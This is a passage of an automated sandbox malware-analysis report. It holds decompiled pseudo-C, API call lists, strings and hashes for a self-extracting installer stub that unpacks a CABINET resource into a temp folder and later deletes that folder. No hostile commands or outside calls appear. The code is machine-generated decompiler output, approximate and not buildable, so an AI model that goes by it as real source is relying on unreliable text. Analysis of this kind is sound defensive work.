				if(_t8 == 0) {
					return _t8;
				}
				_t9 =  *0x10c8584; // 0x0
				if(_t9 != 0) {
					ShowWindow(GetDlgItem(_t9, 0x842), 0);
					ShowWindow(GetDlgItem( *0x10c8584, 0x841), 5);
				}
				_t10 = E010C4EFD(0, 0);
				if(_t10 != 0) {
					__imp__#20(E010C4CA0, E010C4CC0, E010C4980, E010C4A50, E010C4AD0, E010C4B60, E010C4BC0, 1, 0x10c9148, _t33);
					_t34 = _t10;
					if(_t34 == 0) {
						L8:
						_t29 =  *0x10c9148; // 0x0
						_t24 =  *0x10c8584; // 0x0
						E010C44B9(_t24, _t29 + 0x514, 0, 0, 0x10, 0);
						_t37 = 0;
						L9:
						goto L10;
					}
					__imp__#22(_t34, "*MEMCAB", 0x10c1140, 0, E010C4CD0, 0, 0x10c9140); // executed
					_t37 = _t10;
					if(_t37 == 0) {
						goto L9;
					}
					__imp__#23(_t34); // executed
					if(_t10 != 0) {
						goto L9;
					}
					goto L8;
				} else {
					_t27 =  *0x10c8584; // 0x0
					E010C44B9(_t27, 0x4ba, 0, 0, 0x10, 0);
					_t37 = 0;
					L10:
					_t12 =  *0x10c9140; // 0x0
					if(_t12 != 0) {
						FreeResource(_t12);
						 *0x10c9140 = 0;
					}
					if(_t37 == 0) {
						_t47 =  *0x10c91d8; // 0x0
						if(_t47 == 0) {
							E010C44B9(0, 0x4f8, 0, 0, 0x10, 0);
						}
					}
					if(( *0x10c8a38 & 0x00000001) == 0 && ( *0x10c9a34 & 0x00000001) == 0) {
						SendMessageA( *0x10c8584, 0xfa1, _t37, 0);
					}
					return _t37;
				}
			}

0x010c4fe0
0x010c4fe6
0x010c4ff9
0x010c500d
0x010c5013
0x010c501a
0x010c5163
0x010c5163
0x010c5020
0x010c5027
0x010c5037
0x010c5051
0x010c5051
0x010c5057
0x010c505e
0x010c50a7
0x010c50ad
0x010c50b4
0x010c50e8
0x010c50e8
0x010c50ee
0x010c50ff
0x010c5104
0x010c5106
0x00000000
0x010c5106
0x010c50cd
0x010c50d3
0x010c50da
0x00000000
0x00000000
0x010c50dd
0x010c50e6
0x00000000
0x00000000
0x00000000
0x010c5060
0x010c5060
0x010c5070
0x010c5075
0x010c5107
0x010c5107
0x010c510e
0x010c5111
0x010c5117
0x010c5117
0x010c511f
0x010c5121
0x010c5127
0x010c5135
0x010c5135
0x010c5127
0x010c5141
0x010c5159
0x010c5159
0x00000000
0x010c515f

APIs

Part of subcall function 010C468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010C46A0
Part of subcall function 010C468F: SizeofResource.KERNEL32(00000000,00000000,?,010C2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010C46A9
Part of subcall function 010C468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010C46C3
Part of subcall function 010C468F: LoadResource.KERNEL32(00000000,00000000,?,010C2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010C46CC
Part of subcall function 010C468F: LockResource.KERNEL32(00000000,?,010C2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010C46D3
Part of subcall function 010C468F: memcpy_s.MSVCRT ref: 010C46E5
Part of subcall function 010C468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 010C46EF

FindResourceA.KERNEL32(00000000,CABINET,0000000A), ref: 010C4FFE
LoadResource.KERNEL32(00000000,00000000), ref: 010C5006
LockResource.KERNEL32(00000000), ref: 010C500D
GetDlgItem.USER32(00000000,00000842), ref: 010C5030
ShowWindow.USER32(00000000), ref: 010C5037
GetDlgItem.USER32(00000841,00000005), ref: 010C504A
ShowWindow.USER32(00000000), ref: 010C5051
FreeResource.KERNEL32(00000000,00000000,00000010,00000000), ref: 010C5111
SendMessageA.USER32(00000FA1,00000000,00000000,00000000), ref: 010C5159

Strings

*MEMCAB, xrefs: 010C50C7
CABINET, xrefs: 010C4FE6, 010C4FF7

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: Resource$Find$FreeItemLoadLockShowWindow$MessageSendSizeofmemcpy_s
String ID: *MEMCAB$CABINET
API String ID: 1305606123-2642027498
Opcode ID: 8f44ee0308ec89386dced5dc9c565b748628a9e0945d52f87502ed3bbf12dec6
Instruction ID: 91ddcd46e560a0c36789685a5a7206561d0659ab452dcd365d2f503b579b2db0
Opcode Fuzzy Hash: 8f44ee0308ec89386dced5dc9c565b748628a9e0945d52f87502ed3bbf12dec6
Instruction Fuzzy Hash: AE31E6B4740215AFE7305B6AAC9EF6F3A9CB784F85F04405DBDC1D6189E6BE98008F64

Uniqueness

Uniqueness Score: -1.00%

Function 010C2F1D Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 120
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E010C2F1D(void* __ecx, int __edx) {
				signed int _v8;
				char _v272;
				_Unknown_base(*)()* _v276;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t9;
				void* _t11;
				struct HWND__* _t12;
				void* _t14;
				int _t21;
				signed int _t22;
				signed int _t25;
				intOrPtr* _t26;
				signed int _t27;
				void* _t30;
				_Unknown_base(*)()* _t31;
				void* _t34;
				struct HINSTANCE__* _t36;
				intOrPtr _t41;
				intOrPtr* _t44;
				signed int _t46;
				int _t47;
				void* _t58;
				void* _t59;

				_t43 = __edx;
				_t9 =  *0x10c8004; // 0x4b13cf70
				_v8 = _t9 ^ _t46;
				if( *0x10c8a38 != 0) {
					L5:
					_t11 = E010C5164(_t52);
					_t53 = _t11;
					if(_t11 == 0) {
						L16:
						_t12 = 0;
						L17:
						return E010C6CE0(_t12, _t36, _v8 ^ _t46, _t43, _t44, _t45);
					}
					_t14 = E010C55A0(_t53); // executed
					if(_t14 == 0) {
						goto L16;
					} else {
						_t45 = 0x105;
						GetSystemDirectoryA( &_v272, 0x105);
						_t43 = 0x105;
						_t40 =  &_v272;
						E010C658A( &_v272, 0x105, "advapi32.dll");
						_t36 = LoadLibraryA( &_v272);
						_t44 = 0;
						if(_t36 != 0) {
							_t31 = GetProcAddress(_t36, "DecryptFileA");
							_v276 = _t31;
							if(_t31 != 0) {
								_t45 = _t47;
								_t40 = _t31;
								 *0x10ca288("C:\Users\alfons\AppData\Local\Temp\IXP000.TMP\", 0); // executed
								_v276();
								if(_t47 != _t47) {
									_t40 = 4;
									asm("int 0x29");
								}
							}
						}
						FreeLibrary(_t36);
						_t58 =  *0x10c8a24 - _t44; // 0x0
						if(_t58 != 0) {
							L14:
							_t21 = SetCurrentDirectoryA("C:\Users\alfons\AppData\Local\Temp\IXP000.TMP\"); // executed
							if(_t21 != 0) {
								__eflags =  *0x10c8a2c - _t44; // 0x0
								if(__eflags != 0) {
									L20:
									__eflags =  *0x10c8d48 & 0x000000c0;
									if(( *0x10c8d48 & 0x000000c0) == 0) {
										_t41 =  *0x10c9a40; // 0x3, executed
										_t26 = E010C256D(_t41); // executed
										_t44 = _t26;
									}
									_t22 =  *0x10c8a24; // 0x0
									 *0x10c9a44 = _t44;
									__eflags = _t22;
									if(_t22 != 0) {
										L26:
										__eflags =  *0x10c8a38;
										if( *0x10c8a38 == 0) {
											__eflags = _t22;
											if(__eflags == 0) {
												E010C4169(__eflags);
											}
										}
										_t12 = 1;
										goto L17;
									} else {
										__eflags =  *0x10c9a30 - _t22; // 0x0
										if(__eflags != 0) {
											goto L26;
										}
										_t25 = E010C3BA2(); // executed
										__eflags = _t25;
										if(_t25 == 0) {
											goto L16;
										}
										_t22 =  *0x10c8a24; // 0x0
										goto L26;
									}
								}
								_t27 = E010C3B26(_t40, _t44);
								__eflags = _t27;
								if(_t27 == 0) {
									goto L16;
								}
								goto L20;
							}
							_t43 = 0x4bc;
							E010C44B9(0, 0x4bc, _t44, _t44, 0x10, _t44);
							 *0x10c9124 = E010C6285();
							goto L16;
						}
						_t59 =  *0x10c9a30 - _t44; // 0x0
						if(_t59 != 0) {
							goto L14;
						}
						_t30 = E010C621E(); // executed
						if(_t30 == 0) {
							goto L16;
						}
						goto L14;
					}
				}
				_t49 =  *0x10c8a24;
				if( *0x10c8a24 != 0) {
					L4:
					_t34 = E010C3A3F(_t51);
					_t52 = _t34;
					if(_t34 == 0) {
						goto L16;
					}
					goto L5;
				}
				if(E010C51E5(_t49) == 0) {
					goto L16;
				}
				_t51 =  *0x10c8a38;
				if( *0x10c8a38 != 0) {
					goto L5;
				}
				goto L4;
			}

0x010c2f1d
0x010c2f28
0x010c2f2f
0x010c2f3d
0x010c2f6c
0x010c2f6c
0x010c2f71
0x010c2f73
0x010c3041
0x010c3041
0x010c3043
0x010c3053
0x010c3053
0x010c2f79
0x010c2f80
0x00000000
0x010c2f86
0x010c2f86
0x010c2f93
0x010c2f9e
0x010c2fa0
0x010c2fa6
0x010c2fb8
0x010c2fba
0x010c2fbe
0x010c2fc6
0x010c2fcc
0x010c2fd4
0x010c2fd6
0x010c2fd8
0x010c2fe0
0x010c2fe6
0x010c2fee
0x010c2ff0
0x010c2ff5
0x010c2ff5
0x010c2fee
0x010c2fd4
0x010c2ff8
0x010c2ffe
0x010c3004
0x010c3017
0x010c301c
0x010c3024
0x010c3054
0x010c305a
0x010c3065
0x010c3065
0x010c306c
0x010c306e
0x010c3075
0x010c307a
0x010c307a
0x010c307c
0x010c3081
0x010c3087
0x010c3089
0x010c30a1
0x010c30a1
0x010c30a9
0x010c30ab
0x010c30ad
0x010c30af
0x010c30af
0x010c30ad
0x010c30b6
0x00000000
0x010c308b
0x010c308b
0x010c3091
0x00000000
0x00000000
0x010c3093
0x010c3098
0x010c309a
0x00000000
0x00000000
0x010c309c
0x00000000
0x010c309c
0x010c3089
0x010c305c
0x010c3061
0x010c3063
0x00000000
0x00000000
0x00000000
0x010c3063
0x010c302b
0x010c3032
0x010c303c
0x00000000
0x010c303c
0x010c3006
0x010c300c
0x00000000
0x00000000
0x010c300e
0x010c3015
0x00000000
0x00000000
0x00000000
0x010c3015
0x010c2f80
0x010c2f3f
0x010c2f46
0x010c2f5f
0x010c2f5f
0x010c2f64
0x010c2f66
0x00000000
0x00000000
0x00000000
0x010c2f66
0x010c2f4f
0x00000000
0x00000000
0x010c2f55
0x010c2f5d
0x00000000
0x00000000
0x00000000

APIs

GetSystemDirectoryA.KERNEL32 ref: 010C2F93
LoadLibraryA.KERNEL32(?,advapi32.dll), ref: 010C2FB2
GetProcAddress.KERNEL32(00000000,DecryptFileA), ref: 010C2FC6
DecryptFileA.ADVAPI32 ref: 010C2FE6
FreeLibrary.KERNEL32(00000000), ref: 010C2FF8
SetCurrentDirectoryA.KERNELBASE(C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 010C301C

Part of subcall function 010C51E5: LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,010C2F4D,?,00000002,00000000), ref: 010C5201

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 010C2FDB, 010C3017
DecryptFileA, xrefs: 010C2FC0
advapi32.dll, xrefs: 010C2F99

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: DirectoryLibrary$AddressAllocCurrentDecryptFileFreeLoadLocalProcSystem
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$DecryptFileA$advapi32.dll
API String ID: 2126469477-3123416969
Opcode ID: a8bec83dea27d3997e8dc73512494397af052bc913a29364a2bddc1ea822983d
Instruction ID: d7b598bbf8f4fa917c73a95d7d226fb348254c5049ef998bb5c6d1d24b834084
Opcode Fuzzy Hash: a8bec83dea27d3997e8dc73512494397af052bc913a29364a2bddc1ea822983d
Instruction Fuzzy Hash: C941EC316102068EEB71AB7D9C5469E37E4FB54F44F2080ADBEC1C6545EB79C580CF94

Uniqueness

Uniqueness Score: -1.00%

Function 010C5467 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E010C5467(CHAR* __ecx, void* __edx, char* _a4) {
				signed int _v8;
				char _v268;
				struct _SYSTEM_INFO _v304;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t10;
				void* _t13;
				intOrPtr _t14;
				void* _t16;
				void* _t20;
				signed int _t26;
				void* _t28;
				void* _t29;
				CHAR* _t48;
				signed int _t49;
				intOrPtr _t61;

				_t10 =  *0x10c8004; // 0x4b13cf70
				_v8 = _t10 ^ _t49;
				_push(__ecx);
				if(__edx == 0) {
					_t48 = 0x10c91e4;
					_t42 = 0x104;
					E010C1680(0x10c91e4, 0x104);
					L14:
					_t13 = E010C58C8(_t48); // executed
					if(_t13 != 0) {
						L17:
						_t42 = _a4;
						if(_a4 == 0) {
							L23:
							 *0x10c9124 = 0;
							_t14 = 1;
							L24:
							return E010C6CE0(_t14, 0, _v8 ^ _t49, _t42, 1, _t48);
						}
						_t16 = E010C597D(_t48, _t42, 1, 0); // executed
						if(_t16 != 0) {
							goto L23;
						}
						_t61 =  *0x10c8a20; // 0x0
						if(_t61 != 0) {
							 *0x10c8a20 = 0;
							RemoveDirectoryA(_t48);
						}
						L22:
						_t14 = 0;
						goto L24;
					}
					if(CreateDirectoryA(_t48, 0) == 0) {
						 *0x10c9124 = E010C6285();
						goto L22;
					}
					 *0x10c8a20 = 1;
					goto L17;
				}
				_t42 =  &_v268;
				_t20 = E010C53A1(__ecx,  &_v268); // executed
				if(_t20 == 0) {
					goto L22;
				}
				_push(__ecx);
				_t48 = 0x10c91e4;
				E010C1781(0x10c91e4, 0x104, __ecx,  &_v268);
				if(( *0x10c9a34 & 0x00000020) == 0) {
					L12:
					_t42 = 0x104;
					E010C658A(_t48, 0x104, 0x10c1140);
					goto L14;
				}
				GetSystemInfo( &_v304);
				_t26 = _v304.dwOemId & 0x0000ffff;
				if(_t26 == 0) {
					_push("i386");
					L11:
					E010C658A(_t48, 0x104);
					goto L12;
				}
				_t28 = _t26 - 1;
				if(_t28 == 0) {
					_push("mips");
					goto L11;
				}
				_t29 = _t28 - 1;
				if(_t29 == 0) {
					_push("alpha");
					goto L11;
				}
				if(_t29 != 1) {
					goto L12;
				}
				_push("ppc");
				goto L11;
			}

0x010c5472
0x010c5479
0x010c5481
0x010c5484
0x010c551c
0x010c5521
0x010c5528
0x010c552d
0x010c552f
0x010c5539
0x010c554d
0x010c554d
0x010c5552
0x010c5585
0x010c5585
0x010c558b
0x010c558d
0x010c559d
0x010c559d
0x010c5557
0x010c555e
0x00000000
0x00000000
0x010c5560
0x010c5566
0x010c5569
0x010c556f
0x010c556f
0x010c5581
0x010c5581
0x00000000
0x010c5581
0x010c5545
0x010c557c
0x00000000
0x010c557c
0x010c5547
0x00000000
0x010c5547
0x010c548a
0x010c5490
0x010c5497
0x00000000
0x00000000
0x010c549d
0x010c54ab
0x010c54b4
0x010c54c0
0x010c550c
0x010c5511
0x010c5515
0x00000000
0x010c5515
0x010c54c9
0x010c54d6
0x010c54d8
0x010c54fe
0x010c5503
0x010c5507
0x00000000
0x010c5507
0x010c54da
0x010c54dd
0x010c54f7
0x00000000
0x010c54f7
0x010c54df
0x010c54e2
0x010c54f0
0x00000000
0x010c54f0
0x010c54e7
0x00000000
0x00000000
0x010c54e9
0x00000000

APIs

GetSystemInfo.KERNEL32(?,?,?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 010C54C9
CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 010C553D
RemoveDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 010C556F

Part of subcall function 010C53A1: RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 010C53FB
Part of subcall function 010C53A1: GetFileAttributesA.KERNELBASE(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 010C5402
Part of subcall function 010C53A1: GetTempFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,IXP,00000000,?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 010C541F
Part of subcall function 010C53A1: DeleteFileA.KERNEL32(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 010C542B
Part of subcall function 010C53A1: CreateDirectoryA.KERNEL32(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 010C5434

Strings

alpha, xrefs: 010C54F0
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 010C547D, 010C5481, 010C54AB, 010C551C, 010C553C, 010C5568
ppc, xrefs: 010C54E9
i386, xrefs: 010C54FE
mips, xrefs: 010C54F7

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: Directory$File$CreateRemove$AttributesDeleteInfoNameSystemTemp
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$alpha$i386$mips$ppc
API String ID: 1979080616-3703068183
Opcode ID: c6a48293d58c7de5eed960e3595fd28b54449f37aa4bba8cca9c6eafdc5a334a
Instruction ID: d726efb0abebb585e10b9bef779c2fce5dbdf75b38f4d0fd6c0434182d56045a
Opcode Fuzzy Hash: c6a48293d58c7de5eed960e3595fd28b54449f37aa4bba8cca9c6eafdc5a334a
Instruction Fuzzy Hash: 01316974B002059FDB209B2E9C549BF77DBABF5F44B04416EA9C1D3284DB75EA018F94

Uniqueness

Uniqueness Score: -1.00%

Function 010C2390 Relevance: 12.1, APIs: 8, Instructions: 93
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E010C2390(CHAR* __ecx) {
				signed int _v8;
				char _v276;
				char _v280;
				char _v284;
				struct _WIN32_FIND_DATAA _v596;
				struct _WIN32_FIND_DATAA _v604;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t21;
				int _t36;
				void* _t46;
				void* _t62;
				void* _t63;
				CHAR* _t65;
				void* _t66;
				signed int _t67;
				signed int _t69;

				_t69 = (_t67 & 0xfffffff8) - 0x254;
				_t21 =  *0x10c8004; // 0x4b13cf70
				_t22 = _t21 ^ _t69;
				_v8 = _t21 ^ _t69;
				_t65 = __ecx;
				if(__ecx == 0 ||  *((char*)(__ecx)) == 0) {
					L10:
					_pop(_t62);
					_pop(_t66);
					_pop(_t46);
					return E010C6CE0(_t22, _t46, _v8 ^ _t69, _t58, _t62, _t66);
				} else {
					E010C1680( &_v276, 0x104, __ecx);
					_t58 = 0x104;
					E010C16B3( &_v280, 0x104, "*");
					_t22 = FindFirstFileA( &_v284,  &_v604); // executed
					_t63 = _t22;
					if(_t63 == 0xffffffff) {
						goto L10;
					} else {
						goto L3;
					}
					do {
						L3:
						_t58 = 0x104;
						E010C1680( &_v276, 0x104, _t65);
						if((_v604.ftCreationTime & 0x00000010) == 0) {
							_t58 = 0x104;
							E010C16B3( &_v276, 0x104,  &(_v596.dwReserved1));
							SetFileAttributesA( &_v280, 0x80);
							DeleteFileA( &_v280);
						} else {
							if(lstrcmpA( &(_v596.dwReserved1), ".") != 0 && lstrcmpA( &(_v596.cFileName), "..") != 0) {
								E010C16B3( &_v276, 0x104,  &(_v596.cFileName));
								_t58 = 0x104;
								E010C658A( &_v280, 0x104, 0x10c1140);
								E010C2390( &_v284);
							}
						}
						_t36 = FindNextFileA(_t63,  &_v596); // executed
					} while (_t36 != 0);
					FindClose(_t63); // executed
					_t22 = RemoveDirectoryA(_t65); // executed
					goto L10;
				}
			}

0x010c2398
0x010c239e
0x010c23a3
0x010c23a5
0x010c23ae
0x010c23b3
0x010c24cb
0x010c24d2
0x010c24d3
0x010c24d4
0x010c24df
0x010c23c2
0x010c23d1
0x010c23db
0x010c23e4
0x010c23f6
0x010c23fc
0x010c2401
0x00000000
0x00000000
0x00000000
0x00000000
0x010c2407
0x010c2407
0x010c2408
0x010c2411
0x010c241f
0x010c247a
0x010c2483
0x010c2495
0x010c24a3
0x010c2421
0x010c242f
0x010c2453
0x010c245d
0x010c2466
0x010c2472
0x010c2472
0x010c242f
0x010c24af
0x010c24b5
0x010c24be
0x010c24c5
0x00000000
0x010c24c5

APIs

FindFirstFileA.KERNELBASE(?,010C8A3A,010C11F4,010C8A3A,00000000,?,?), ref: 010C23F6
lstrcmpA.KERNEL32(?,010C11F8), ref: 010C2427
lstrcmpA.KERNEL32(?,010C11FC), ref: 010C243B
SetFileAttributesA.KERNEL32(?,00000080,?), ref: 010C2495
DeleteFileA.KERNEL32(?), ref: 010C24A3
FindNextFileA.KERNELBASE(00000000,00000010), ref: 010C24AF
FindClose.KERNELBASE(00000000), ref: 010C24BE
RemoveDirectoryA.KERNELBASE(010C8A3A), ref: 010C24C5

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: File$Find$lstrcmp$AttributesCloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 836429354-0
Opcode ID: bac33497a8490eec3fe3d9d1a12a5f9e4bab8c5e095bc1628fa47a3797f63709
Instruction ID: b0c107ac703fb167a0af4101c0974160ab6aa755077f5eea07d9be330e21a2af
Opcode Fuzzy Hash: bac33497a8490eec3fe3d9d1a12a5f9e4bab8c5e095bc1628fa47a3797f63709
Instruction Fuzzy Hash: 88316031604645DFD330EBA4CC88AEFB7E8ABC8B45F14492DA9D587280EF7995098F52

Uniqueness

Uniqueness Score: -1.00%

Function 010C2BFB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 63
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E010C2BFB(struct HINSTANCE__* _a4, intOrPtr _a12) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				long _t4;
				void* _t6;
				intOrPtr _t7;
				void* _t9;
				struct HINSTANCE__* _t12;
				intOrPtr* _t17;
				signed char _t19;
				intOrPtr* _t21;
				void* _t22;
				void* _t24;
				intOrPtr _t32;

				_t4 = GetVersion();
				if(_t4 >= 0 && _t4 >= 6) {
					_t12 = GetModuleHandleW(L"Kernel32.dll");
					if(_t12 != 0) {
						_t21 = GetProcAddress(_t12, "HeapSetInformation");
						if(_t21 != 0) {
							_t17 = _t21;
							 *0x10ca288(0, 1, 0, 0);
							 *_t21();
							_t29 = _t24 - _t24;
							if(_t24 != _t24) {
								_t17 = 4;
								asm("int 0x29");
							}
						}
					}
				}
				_t20 = _a12;
				_t18 = _a4;
				 *0x10c9124 = 0;
				if(E010C2CAA(_a4, _a12, _t29, _t17) != 0) {
					_t9 = E010C2F1D(_t18, _t20); // executed
					_t22 = _t9; // executed
					E010C52B6(0, _t18, _t21, _t22); // executed
					if(_t22 != 0) {
						_t32 =  *0x10c8a3a; // 0x0
						if(_t32 == 0) {
							_t19 =  *0x10c9a2c; // 0x0
							if((_t19 & 0x00000001) != 0) {
								E010C1F90(_t19, _t21, _t22);
							}
						}
					}
				}
				_t6 =  *0x10c8588; // 0x0
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0x10c9124; // 0x0
				return _t7;
			}

0x010c2c03
0x010c2c0d
0x010c2c18
0x010c2c20
0x010c2c2e
0x010c2c32
0x010c2c36
0x010c2c3d
0x010c2c43
0x010c2c45
0x010c2c47
0x010c2c49
0x010c2c4e
0x010c2c4e
0x010c2c47
0x010c2c32
0x010c2c20
0x010c2c50
0x010c2c54
0x010c2c57
0x010c2c64
0x010c2c66
0x010c2c6b
0x010c2c6d
0x010c2c74
0x010c2c76
0x010c2c7c
0x010c2c7e
0x010c2c87
0x010c2c89
0x010c2c89
0x010c2c87
0x010c2c7c
0x010c2c74
0x010c2c8e
0x010c2c95
0x010c2c98
0x010c2c98
0x010c2c9e
0x010c2ca7

APIs

GetVersion.KERNEL32(?,00000002,00000000,?,010C6BB0,010C0000,00000000,00000002,0000000A), ref: 010C2C03
GetModuleHandleW.KERNEL32(Kernel32.dll,?,010C6BB0,010C0000,00000000,00000002,0000000A), ref: 010C2C18
GetProcAddress.KERNEL32(00000000,HeapSetInformation), ref: 010C2C28
CloseHandle.KERNEL32(00000000,?,?,010C6BB0,010C0000,00000000,00000002,0000000A), ref: 010C2C98

Strings

Kernel32.dll, xrefs: 010C2C13
HeapSetInformation, xrefs: 010C2C22

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: Handle$AddressCloseModuleProcVersion
String ID: HeapSetInformation$Kernel32.dll
API String ID: 62482547-3460614246
Opcode ID: 3e15d389af2a74bb8c4f680a035136833ff210e1d15825242967402a24fae714
Instruction ID: 924aecbdd5bcd843a263fb04cff925d6a57923b1e2d6d86e556bb19aafaa00c2
Opcode Fuzzy Hash: 3e15d389af2a74bb8c4f680a035136833ff210e1d15825242967402a24fae714
Instruction Fuzzy Hash: A7118A7130020D9FE7306BF998C8A6F3B999B84F94B04406DFAC5D7685DA3AD8419F64

Uniqueness

Uniqueness Score: -1.00%

Function 010C6F40 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E010C6F40() {

				SetUnhandledExceptionFilter(E010C6EF0); // executed
				return 0;
			}

0x010c6f45
0x010c6f4d

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_00006EF0), ref: 010C6F45

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 955f56049bbe72be1d4ea36d49e9b074ed2d3e7a35b0cd8cbe3fe5745dc53214
Instruction ID: e50ee1b9549d8d404b405a09bc8a2403e5b56de104fedff3cd5fcf5ff72831f7
Opcode Fuzzy Hash: 955f56049bbe72be1d4ea36d49e9b074ed2d3e7a35b0cd8cbe3fe5745dc53214
Instruction Fuzzy Hash: AC9002703511048B97301BB1991941975915A8DA427825469A491C9548EB6640405E12

Uniqueness

